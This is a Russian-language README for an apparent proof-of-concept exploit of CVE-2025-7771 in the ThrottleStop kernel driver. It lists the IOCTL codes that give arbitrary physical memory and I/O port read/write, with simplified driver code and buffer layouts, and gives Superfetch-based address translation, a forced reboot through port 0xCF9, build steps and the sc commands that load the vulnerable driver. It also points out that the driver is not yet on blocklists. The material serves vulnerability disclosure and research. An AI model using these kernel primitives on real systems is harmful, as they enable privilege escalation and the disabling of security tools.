
CVE-2025-7771: Произвольное чтение/запись физической памяти и портов ввода-вывода через драйвер ThrottleStop
CVE-2025-7771: Произвольное чтение/запись физической памяти и портов ввода-вывода через драйвер ThrottleStop
ThrottleStop — это небольшое легитимное приложение, используемое для мониторинга и коррекции троттлинга ЦП. Оно имеет драйвер, который облегчает эти задачи, и в основном лишено какой-либо проверки входных данных.
| IOCTL | Уязвимость |
|---|---|
| 0x80006498 | Произвольное чтение памяти |
| 0x8000649C | Произвольная запись памяти |
| 0x80006430 | Произвольное чтение порта |
| 0x80006434 | Произвольная запись порта |
Также, похоже, есть произвольное чтение и запись MSR, но мне не удалось заставить их работать.
Не стесняйтесь посмотреть самостоятельно.
Чтение MSR по 0x80006448, запись по 0x8000644C.
Если вам удалось заставить это работать, пожалуйста, отправьте issue с описанием процедуры.
Все вызовы IOCTL, упомянутые ниже, реализованы в файле Exploit.c.
IOCTL 0x80006498 отображает любой предоставленный физический адрес в пространство ядра с помощью MmMapIoSpace и читает из него 1, 2, 4 или 8 байт. Затем данные копируются обратно в пользовательское пространство.
Для вызова этого IOCTL используется DeviceIoControl с физическим адресом на входе и размером выходного буфера, равным размеру чтения (1, 2, 4 или 8).
Упрощённый код этого IOCTL в драйвере:
case 0x80006498: {
size_t readSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
Аналогично чтению, IOCTL 0x8000649C отображает предоставленный физический адрес в пространство ядра с помощью MmMapIoSpace и записывает в него 1, 2, 4 или 8 байт.
Для вызова этого IOCTL используется DeviceIoControl со следующей структурой входного буфера:
struct {
ULONGLONG PhysicalAddress; // 8 bytes
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
Размер входного буфера будет равен 8 + (1, 2, 4 или 8) в зависимости от размера записи.
Выходной буфер и его размер не используются.
Упрощённый код этого IOCTL в драйвере:
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
IOCTL 0x80006430 позволяет пользователю указать порт ввода-вывода и читать из него напрямую с помощью __inbyte, __inword или __indword.
Входной буфер — это USHORT, размер входного буфера должен быть sizeof(USHORT).
Выходной буфер будет содержать результат (1, 2 или 4 байта в зависимости от запрошенного размера), а размер вывода может быть 1, 2 или 4.
Упрощённый код этого IOCTL в драйвере:
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
Аналогично чтению порта, IOCTL 0x80006434 позволяет пользователю указать порт ввода-вывода и записать в него произвольные значения с помощью __outbyte, __outword или __outdword.
Структура входного буфера:
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignment
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
Размер входного буфера должен быть равен sizeof(USHORT) + sizeof(Value) (+ выравнивание). Выходной буфер и его размер не используются.
Упрощённый код этого IOCTL в драйвере:
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
Это преобразование возможно путём злоупотребления Superfetch — легитимным модулем ядра, который предоставляет преобразование виртуальных адресов в физические с помощью недокументированных API. Код для этого реализован в vtop.c
Этот проект можно скомпилировать с помощью Meson. Он считывает поле UniqueProcessId, разрешая структуру EPROCESS системного процесса через PsInitialSystemProcess, и проверяет, равно ли оно 4 (реализовано в Main.c, а функции поиска EPROCESS для конкретного PID реализованы в EProcess.c). Кроме того, он спрашивает пользователя, хочет ли он принудительно перезагрузить систему. Это возможно путём записи значения 0x0E в порт 0xCF9.
Предупреждение: Всё было протестировано на Windows 11 сборка 24H2. Смещения в структуре EPROCESS могут отличаться на вашей системе.
Соберите проект с помощью
meson setup build
Это создаст каталог build. Затем скомпилируйте проект с помощью
meson compile -C build
Драйвер доступен в каталоге Drivers репозитория. Драйверы ThrottleStop можно напрямую извлечь из программы ThrottleStop.exe с помощью Resource Hacker. Вы найдёте 2 драйвера — x64 и x86. DriverObject->MajorFunction[14] содержит функцию диспетчеризации, в которой реализованы все IOCTL.
Создайте и запустите драйвер с помощью:
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop
https://github.com/jonomango/superfetch
Этот драйвер ещё не добавлен в список блокировки драйверов Microsoft ни в loldrivers.